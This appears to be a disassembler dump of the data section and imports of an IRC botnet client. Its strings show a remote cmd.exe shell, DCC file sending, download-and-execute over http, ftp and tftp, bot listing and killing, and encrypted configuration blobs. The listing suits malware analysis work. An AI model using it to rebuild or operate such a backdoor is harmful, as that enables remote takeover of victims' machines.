dword_417000 dd 77DD7F3Eh ; DATA XREF: sub_401000+C6r dword_417004 dd 77DD5C55h ; DATA XREF: sub_401000+11Ar ; sub_406C51+96r dword_417008 dd 77DD22EAh ; DATA XREF: sub_401000+65r ; sub_406722+184r ... dword_41700C dd 77DD23D7h ; DATA XREF: sub_406722+1C3r ; sub_4083AD+2DDr ... dword_417010 dd 77DD59F0h ; DATA XREF: sub_406C51+88r dword_417014 dd 77DD590Bh ; DATA XREF: sub_406C51+26r dword_417018 dd 77DDACABh ; DATA XREF: sub_4083AD+E6r dword_41701C dd 77DE042Eh ; DATA XREF: sub_4102AE+62r dword_417020 dd 77DE03D2h ; DATA XREF: sub_4102AE+27r ; sub_4102AE+37r ... dword_417024 dd 77DDEBA2h ; DATA XREF: sub_4102AE+17r dword_417028 dd 77DD189Ah ; DATA XREF: sub_401000+136r ; sub_406722+2F9r ... align 10h dword_417030 dd 77E7C657h ; DATA XREF: sub_4083AD+11Er ; sub_40D043+20Br ... dword_417034 dd 77E7513Ch ; DATA XREF: sub_408342+10r ; sub_408342+4Br dword_417038 dd 77E705C5h ; DATA XREF: sub_406D47+41r dword_41703C dd 77E74672h ; DATA XREF: sub_406C51+6Fr ; sub_414EF4+8EEr dword_417040 dd 77E705B0h ; DATA XREF: sub_406B81+15r dword_417044 dd 77E7A837h ; DATA XREF: sub_406B81+47r ; sub_406B81+95r ... dword_417048 dd 77E73CE2h ; DATA XREF: sub_406B81+6Er dword_41704C dd 77E7011Ah ; DATA XREF: sub_406B81+BCr dword_417050 dd 77E704FCh ; DATA XREF: sub_406A23+15r ; sub_406AE7+15r ... dword_417054 dd 77E805D8h ; DATA XREF: sub_403BD3+Br ; sub_403BD3+32r ... dword_417058 dd 77E7A5FDh ; DATA XREF: sub_403BD3+22r ; sub_403BD3+4Dr ... dword_41705C dd 77E75CB5h ; DATA XREF: sub_40332B+227r ; sub_407148+18Br ... dword_417060 dd 77E6BD13h ; DATA XREF: sub_402A32+ECr ; sub_406E8E+1FEr dword_417064 dd 77F5157Dh ; DATA XREF: sub_402A32+F6r ; sub_409CB1+CFr ... dword_417068 dd 77E79D8Ch ; DATA XREF: sub_401D39+22r ; sub_406D90+D3r dword_41706C dd 77E6CBF9h ; DATA XREF: sub_401981+4Fr dword_417070 dd 77E7727Ah ; DATA XREF: sub_401981+9Er ; sub_401981+D7r dword_417074 dd 77E79C90h ; DATA XREF: sub_401981+104r ; sub_401981+111r dword_417078 dd 77E65F4Ch ; DATA XREF: sub_4083AD+FAr dword_41707C dd 77E61BB8h ; DATA XREF: sub_401981+1C6r ; sub_406E8E+2A5r dword_417080 dd 77EB7624h ; DATA XREF: sub_401981+274r dword_417084 dd 77E7FF65h ; DATA XREF: sub_401981+2B3r dword_417088 dd 77E78B82h ; DATA XREF: sub_401981+37Br dword_41708C dd 77E79F93h ; DATA XREF: sub_401244+F2r ; sub_40332B+1D0r ... dword_417090 dd 77E7A099h ; DATA XREF: sub_401244+F9r ; sub_40332B+1D7r ... dword_417094 dd 77E706B7h ; DATA XREF: sub_401244+159r ; sub_406041+193r ... dword_417098 dd 77E61A54h ; DATA XREF: sub_401244+21Dr ; sub_406509+91r dword_41709C dd 77E61BE6h ; DATA XREF: sub_401244+3C6r ; sub_401244+4F4r ... dword_4170A0 dd 77E616B4h ; DATA XREF: sub_401244+439r ; sub_406643+3Br dword_4170A4 dd 77E77963h ; DATA XREF: sub_401244+471r ; sub_401244+4C1r ... dword_4170A8 dd 77E70396h ; DATA XREF: sub_401146+11r ; sub_406E8E+22Ar ... dword_4170AC dd 77E73628h ; DATA XREF: sub_401146+23r ; sub_401E38+30r ... dword_4170B0 dd 77E79A45h ; DATA XREF: sub_416F4E+1Er dword_4170B4 dd 77E7AC37h ; DATA XREF: sub_40A1A7+106r dword_4170B8 dd 77E75090h ; DATA XREF: sub_40D74D+87r dword_4170BC dd 77E74D76h ; DATA XREF: sub_40D74D+4Ar dword_4170C0 dd 77E77797h ; DATA XREF: sub_40D74D+33r dword_4170C4 dd 77E76C1Ah ; DATA XREF: sub_4083AD+33r dword_4170C8 dd 77E686CCh ; DATA XREF: sub_408E8E+4Br ; sub_408F2E+134r dword_4170CC dd 77E6C0E3h ; DATA XREF: sub_408E8E+1Ar ; sub_408F2E+7Fr ... dword_4170D0 dd 77E7751Ah ; DATA XREF: sub_409226:loc_40928Er ; sub_4092A4:loc_409307r ... dword_4170D4 dd 77E6D75Bh ; DATA XREF: sub_409226+14r ; sub_4092A4+14r ... dword_4170D8 dd 77E802FCh ; DATA XREF: sub_409226+Ar ; sub_4092A4+Ar ... dword_4170DC dd 77E7176Ch ; DATA XREF: sub_4093B6+51r dword_4170E0 dd 77E75CEBh ; DATA XREF: sub_4098F3+A2r ; sub_4098F3+1B6r dword_4170E4 dd 77E79908h ; DATA XREF: sub_409C36+2Er dword_4170E8 dd 77E80656h ; DATA XREF: sub_401244+D7r ; sub_406643+19r dword_4170EC dd 77F7E21Fh ; DATA XREF: sub_409C6C+6r dword_4170F0 dd 77E79CE3h ; DATA XREF: sub_401981+118r dword_4170F4 dd 77E78C17h ; DATA XREF: .data:00416822r dword_4170F8 dd 77E7C2C4h ; DATA XREF: .data:00416899r dword_4170FC dd 77E73167h ; DATA XREF: sub_414EF4+5AAr ; sub_414EF4+5BCr ... dword_417100 dd 77E73BEFh ; DATA XREF: sub_414EF4+9C0r dword_417104 dd 77E7AC5Eh ; DATA XREF: sub_4148CE+B0r dword_417108 dd 77E76432h ; DATA XREF: sub_40D871+29Br ; sub_414EF4+5CEr ... dword_41710C dd 77F7E300h ; DATA XREF: sub_409C7A+6r dd 0 dword_417114 dd 77C1C055h ; DATA XREF: sub_416F7Ar dword_417118 dd 77C423F5h ; DATA XREF: sub_416F80r dword_41711C dd 77C219F5h ; DATA XREF: sub_416FA2r dword_417120 dd 77C20C5Bh ; DATA XREF: sub_416FA8r dword_417124 dd 77C21AD8h ; DATA XREF: .data:loc_416E08r dword_417128 dd 77C43150h ; DATA XREF: sub_416E02r dword_41712C dd 77C41FA0h ; DATA XREF: sub_416B3Ar dword_417130 dd 77C33FDEh ; DATA XREF: sub_416DFCr dword_417134 dd 77C33FC1h ; DATA XREF: sub_416DF6r dword_417138 dd 77C3CE0Ch ; DATA XREF: sub_416DF0r dword_41713C dd 77C42D60h ; DATA XREF: sub_416DEAr dword_417140 dd 77C1C6F3h ; DATA XREF: sub_416DE4r dword_417144 dd 77C435C0h ; DATA XREF: sub_416DDEr dword_417148 dd 77C3E5D9h ; DATA XREF: sub_416DD8r dword_41714C dd 77C28925h ; DATA XREF: sub_416DD2r dword_417150 dd 77C28933h ; DATA XREF: sub_416DCCr dword_417154 dd 77C3CCE7h ; DATA XREF: sub_416DC6r dword_417158 dd 77C37FEDh ; DATA XREF: sub_416DC0r dword_41715C dd 77C33EB0h ; DATA XREF: sub_416DBAr dword_417160 dd 77C4B940h ; DATA XREF: sub_416CFEr dword_417164 dd 77C4B120h ; DATA XREF: sub_416CF8r dword_417168 dd 77C37ADCh ; DATA XREF: sub_416BFCr dword_41716C dd 77C2AC58h ; DATA XREF: sub_416BF6r dword_417170 dd 77C438C0h ; DATA XREF: sub_416BF0r dword_417174 dd 77C3C93Ch ; DATA XREF: sub_416BAEr dword_417178 dd 77C43AB0h ; DATA XREF: sub_416BA8r dword_41717C dd 77C3E8C0h ; DATA XREF: sub_416BA2r dword_417180 dd 77C1BE00h ; DATA XREF: sub_416B9Cr dword_417184 dd 77C3E140h ; DATA XREF: sub_416B96r dword_417188 dd 77C3DFB5h ; DATA XREF: sub_416B90r dword_41718C dd 77C3BF06h ; DATA XREF: sub_416B88r dword_417190 dd 77C3D8F6h ; DATA XREF: sub_416B82r dword_417194 dd 77C3E4B9h ; DATA XREF: sub_416B7Cr dword_417198 dd 77C3E303h ; DATA XREF: sub_416B76r dword_41719C dd 77C41FB0h ; DATA XREF: sub_416B70r dword_4171A0 dd 77C43490h ; DATA XREF: sub_416B6Ar dword_4171A4 dd 77C46553h ; DATA XREF: sub_416B64r dword_4171A8 dd 77C3C813h ; DATA XREF: sub_416B5Er dword_4171AC dd 77C43900h ; DATA XREF: sub_416B58r dword_4171B0 dd 77C42E10h ; DATA XREF: sub_416B52r dword_4171B4 dd 77C2AA6Bh ; DATA XREF: sub_416B4Cr dword_4171B8 dd 77C2AC46h ; DATA XREF: sub_416B46r dword_4171BC dd 77C43710h ; DATA XREF: sub_416B40r dword_4171C0 dd 77C421A2h ; DATA XREF: sub_416F74r align 8 dword_4171C8 dd 7713BC68h ; DATA XREF: sub_416E4E+44r align 10h dword_4171D0 dd 77428B97h ; DATA XREF: sub_401D6E+2Dr ; sub_402A32+79Br ... align 8 dword_4171D8 dd 77D4456Bh ; DATA XREF: sub_40A9CF+121r dword_4171DC dd 77D79D1Ch ; DATA XREF: sub_414EF4+76Dr dword_4171E0 dd 77D4C96Ah ; DATA XREF: sub_406D90+B0r ; sub_408F2E+1D1r ... dword_4171E4 dd 77D5C13Ah ; DATA XREF: sub_40A9CF+128r ; sub_415B60+84r dword_4171E8 dd 77D4BDCAh ; DATA XREF: sub_40D734+Br dword_4171EC dd 77D4702Fh ; DATA XREF: sub_40D74D+6Cr ; sub_40D74D+7Er dd 0 dword_4171F4 dd 71AB3E5Dh ; DATA XREF: sub_404FE7+C5r ; sub_4050EA+106r ... dword_4171F8 dd 71AB1B7Bh ; DATA XREF: sub_416E30r dword_4171FC dd 71AB868Dh ; DATA XREF: sub_4048EF+11Er ; sub_4048EF+39Fr dword_417200 dd 71AB8629h ; DATA XREF: sub_40538D+8r ; sub_412A3A+178r ... dword_417204 dd 71AB3F8Dh ; DATA XREF: sub_4046BC+114r ; sub_4055E5+7Br ... dword_417208 dd 71AB3ECEh ; DATA XREF: sub_4046BC+129r ; sub_411DC5+DFr ... dword_41720C dd 71AB1AF4h ; DATA XREF: sub_4053BF+Fr ; sub_40A9CF+1A74r dword_417210 dd 71ABF628h ; DATA XREF: sub_4044F7+21r ; sub_4045B2+21r dword_417214 dd 71AB155Ah ; DATA XREF: sub_404457+1Cr ; sub_40447B+10r dword_417218 dd 71AB3C22h ; DATA XREF: sub_40432E+Ar ; sub_4046BC+CEr ... dword_41721C dd 71AB401Ch ; DATA XREF: sub_4038BA+72r ; sub_40732D+1A8r ... dword_417220 dd 71ABD755h ; DATA XREF: sub_4038BA+D0r ; sub_4038BA+171r ... dword_417224 dd 71AB1740h ; DATA XREF: sub_4038BA+E5r ; sub_4038BA+186r ... dword_417228 dd 71ABD850h ; DATA XREF: sub_4038BA+28Dr dword_41722C dd 71AB1890h ; DATA XREF: sub_4048EF+265r ; sub_404E1C+E0r ... dword_417230 dd 71AB1A6Dh ; DATA XREF: sub_4053B1+6r ; sub_40A9CF+1A80r ... dword_417234 dd 71AB350Dh ; DATA XREF: sub_403588+23r ; sub_403588+4Ar ... dword_417238 dd 71AB1746h ; DATA XREF: sub_403588+BAr ; sub_403588+1FEr ... dword_41723C dd 71AB2BBFh ; DATA XREF: sub_403588+151r ; sub_4055E5+F3r ... dword_417240 dd 71AB157Eh ; DATA XREF: sub_4020C2+B9r ; sub_40449C+21r ... dword_417244 dd 71AB12F8h ; DATA XREF: sub_4020C2+1FAr ; sub_4055E5+DDr ... dword_417248 dd 71AB5690h ; DATA XREF: sub_401E38+106r ; sub_4053DC+27r ... dword_41724C dd 71AB12A7h ; DATA XREF: sub_401E38+141r ; sub_4020C2+201r dword_417250 dd 71AB1ED3h ; DATA XREF: sub_4055E5+7F2r ; sub_411DC5+372r ... dword_417254 dd 71AB1836h ; DATA XREF: sub_406E8E+2ABr ; sub_407148+183r ... dword_417258 dd 71AB1444h ; DATA XREF: sub_411DC5+2A1r dword_41725C dd 71AB14DCh ; DATA XREF: sub_415F69+157r dword_417260 dd 71AB32CAh ; DATA XREF: sub_415F69+81r dword_417264 dd 71AB41DAh ; DATA XREF: .data:004169F2r dword_417268 dd 71AB5DE2h ; DATA XREF: sub_4046BC+14Dr align 10h flt_417270 dd 1.0e3 ; DATA XREF: sub_401E38+207r ; sub_401E38+22Fr ... flt_417274 dd 1.024e3 ; DATA XREF: sub_408B30+2A2r dword_417278 dd 0FFFFFFFFh, 409449h, 40945Fh, 0 ; DATA XREF: sub_4093B6+5o dword_417288 dd 0FFFFFFFFh, 409572h, 40958Ah, 0 ; DATA XREF: sub_4094E6+5o dword_417298 dd 0FFFFFFFFh, 416AE7h, 416AFDh, 0 ; DATA XREF: .data:004167F6o dd offset loc_416AC5 dd offset loc_416ADB dd offset dword_4172F0 off_4172B4 dd offset sub_416F05 ; DATA XREF: sub_416ED3+12o ; .data:00416F3Ao ... dd offset dword_417338 off_4172BC dd offset sub_416F86 ; DATA XREF: .data:off_41DDE0o ; .data:off_41DE00o off_4172C0 dd offset off_41DDE0 ; DATA XREF: .data:004172D8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_4172C0 dword_4172DC dd 3 dup(0) ; DATA XREF: .data:00417300o dd 1, 4172D8h dword_4172F0 dd 3 dup(0) ; DATA XREF: .data:004172B0o dd offset off_41DDE0 dd offset dword_4172DC+4 dd 0 off_417308 dd offset off_41DE00 ; DATA XREF: .data:00417320o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_417308 dd 0 db 0 ; DATA XREF: .data:00417348o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 417320h dword_417338 dd 3 dup(0) ; DATA XREF: .data:004172B8o dd offset off_41DE00 dd offset unk_417328 align 10h dword_417350 dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF: .data:loc_416FDDo dd 0FFFFFFFFh, 416FB0h, 0 dd offset loc_416FBC dd 1, 416FC5h, 2, 416FD1h, 0 dd offset off_41DDE0 dd 0 dd 0FFFFFFFFh, 0 dd 10h, 416F21h, 0 dword_4173B0 dd 1, 417390h ; DATA XREF: .data:004173C4o dword_4173B8 dd 0 ; DATA XREF: sub_416EAF+19o dd offset sub_416F4E dd 0 dd offset dword_4173B0 dd 1757Ch, 2 dup(0) dd 17876h, 17114h, 1765Ch, 2 dup(0) dd 1788Eh, 171F4h, 17498h, 2 dup(0) dd 17C70h, 17030h, 17640h, 2 dup(0) dd 17CE6h, 171D8h, 17468h, 2 dup(0) dd 17DBAh, 17000h, 17638h, 2 dup(0) dd 17DD8h, 171D0h, 17630h, 2 dup(0) dd 17E3Eh, 171C8h, 0A1h dup(0) dd 74730000h, 79706372h, 0 aStrlen db 'strlen',0 align 4 dd 616D0000h, 636F6C6Ch, 0 aFree db 'free',0 align 10h aMemcpy db 'memcpy',0 align 4 dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h dd 6B636Fh, 656D0000h, 7465736Dh, 0 aStrcat db 'strcat',0 align 4 dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0 aFclose db 'fclose',0 align 4 dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h dd 74610000h, 696Fh, 73730000h, 666E6163h, 0 aStrstr db 'strstr',0 align 4 dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h dd 70h, 6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h dd 656C646Eh, 3372h, 625F0000h, 6E696765h, 65726874h, 78656461h dd 0 aVsprintf db 'vsprintf',0 align 4 a??3@yaxpax@z db '??3@YAXPAX@Z',0 align 4 a??2@yapaxi@z db '??2@YAPAXI@Z',0 align 4 aPrintf db 'printf',0 align 4 dd 74730000h, 706D6372h, 0 aTolower db 'tolower',0 dd 656D0000h, 706D636Dh, 0 a_vsnprintf db '_vsnprintf',0 align 4 dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh dd 65h, 78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h dd 54524356h, 6C6C642Eh, 0 aWsaioctl db 'WSAIoctl',0 align 2 aWs2_32_dll_0 db 'WS2_32.dll',0 align 4 aDeletefilea db 'DeleteFileA',0 dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h dd 0 aClosehandle db 'CloseHandle',0 dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h dd 48656C75h, 6C646E61h, 4165h, 65470000h, 72754374h, 746E6572h dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0 aGetexitcodepro db 'GetExitCodeProcess',0 align 4 dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h dd 65746165h, 636F7250h, 41737365h, 0 aDuplicatehandl db 'DuplicateHandle',0 dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h dd 72430000h, 65746165h, 65706950h, 0 aSearchpatha db 'SearchPathA',0 dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h dd 72724574h, 726Fh, 6F430000h, 69467970h, 41656Ch, 78450000h dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h dd 7373h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h dd 65h, 61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h dd 416Eh, 65530000h, 72754374h, 746E6572h, 65726944h, 726F7463h dd 4179h, 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetversionexa db 'GetVersionExA',0 align 4 aGetcomputernam db 'GetComputerNameA',0 align 4 aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h dd 41h, 44746547h, 65766972h, 65707954h, 41h, 54746547h dd 436B6369h, 746E756Fh, 0 aQueryperforman db 'QueryPerformanceFrequency',0 align 4 aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h dd 61636974h, 6365536Ch, 6E6F6974h, 0 aLeavecriticals db 'LeaveCriticalSection',0 align 4 aCreatethread db 'CreateThread',0 align 4 aUnmapviewoffil db 'UnmapViewOfFile',0 dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0 aLstrcmpa db 'lstrcmpA',0 align 10h aGetenvironment db 'GetEnvironmentVariableA',0 dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h dd 4179h, 72430000h, 65746165h, 6574754Dh, 4178h, 65530000h dd 72724574h, 6F4D726Fh, 6564h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 0 aWsprintfa db 'wsprintfA',0 align 4 aGetwindowtexta db 'GetWindowTextA',0 align 4 dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h dd 77h, 646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh dd 67617373h, 4165h, 73490000h, 72616843h, 68706C41h, 6D754E61h dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0 aRegclosekey db 'RegCloseKey',0 dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h dd 41h, 51676552h, 79726575h, 756C6156h, 41784565h, 0 aRegsetvalueexa db 'RegSetValueExA',0 align 4 dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h dd 4E726573h, 41656D61h, 0 aCryptreleaseco db 'CryptReleaseContext',0 dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h dd 45776F72h, 70656378h, 6E6F6974h, 0 a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 4 aLocalfree db 'LocalFree',0 aOleaut32_dll_0 db 'OLEAUT32.dll',0 align 4 dd 6Ch dup(0) dd 0FC5FA01Dh off_418000 dd offset dword_418098 ; DATA XREF: sub_401000+1Dr ; sub_401000+2Er dd offset dword_41805C dd offset dword_418040 dd offset dword_418014 dd 0 dword_418014 dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch ; DATA XREF: .data:0041800Co dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0) dword_418040 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h ; DATA XREF: .data:00418008o dd 0BFD1h, 0 dword_41805C dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:00418004o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 0C3928695h, 0D5D48F94h, 0EEh, 0 dword_418098 dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h ; DATA XREF: .data:off_418000o dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh dd 0A68CCCA6h, 95h, 0 dword_4180CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_401244+52Do dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4180F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_401244+50Ao dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41811C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_401244+412o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_418144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_401244+45o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_418174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4017AA+93o dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4017AA:loc_401830o aListing db 'Listing',0 ; DATA XREF: sub_4017AA+7Do dword_4181A4 dd 303h ; DATA XREF: sub_4018AF:loc_401942o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401981+48o aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o align 4 asc_418214 db 0Dh,0Ah,0 ; DATA XREF: sub_401D6E:loc_401E0Bo ; sub_403DF3+18Co ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo align 4 aOpen db 'open',0 ; DATA XREF: sub_401D6E+26o ; sub_402A32+794o ... align 4 dword_418234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401E38+248o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_418280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401E38+CCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4182AC dd 6277h ; DATA XREF: sub_401E38+36o ; sub_402698:loc_40288Eo ... dword_4182B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_4020C2+3E1o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4182F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_4020C2+313o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_418320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_4020C2+28Eo dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_418348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_4020C2+20Fo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o align 4 aRb db 'rb',0 ; DATA XREF: sub_4020C2:loc_40220Fo ; sub_406AE7+63o ... align 4 dword_41837C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_4024F3+101o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4183A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_40260D+72o dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o align 4 asc_4183EC db 0Dh,0Ah ; DATA XREF: sub_402698:loc_402758o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao ; sub_4088FC+E9o db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_418414 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402A32+7F6o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_418444 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402A32+7D1o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_41846C dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402A32+738o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4184B4 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402A32+6B0o dword_4184C0 dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o unk_4184CC db 2Dh ; - ; DATA XREF: sub_402A32+50Eo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_4184F8: ; DATA XREF: sub_402A32:loc_402F16o unicode 0, </>,0 asc_4184FC: ; DATA XREF: sub_402A32+45Fo ; sub_414EF4+644o ... unicode 0, <:>,0 unk_418500 db 2Dh ; - ; DATA XREF: sub_402A32+3E4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 4 a69 db '69',0 ; DATA XREF: sub_402A32+3A8o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402A32+387o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402A32+35Ao ; sub_402A32+36Do align 4 a21 db '21',0 ; DATA XREF: sub_402A32+328o align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402A32+307o align 10h a80 db '80',0 ; DATA XREF: sub_402A32+2CEo ; sub_4043E9+27o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402A32+2ADo dword_41855C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402A32+135o dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41858C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402A32+110o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4185C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402A32+C0o dword_4185CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402A32+AAo dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4185FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_403260+B2o dd 206F7420h, 2343003h, 2037325h, 0 dword_418620 dd 6578652Eh, 0 ; DATA XREF: sub_403260+43o ; sub_412720+51o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o ; sub_40332B:loc_403545o ... align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40332B+200o ; sub_40A9CF:loc_40BD52o align 4 dword_41864C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). 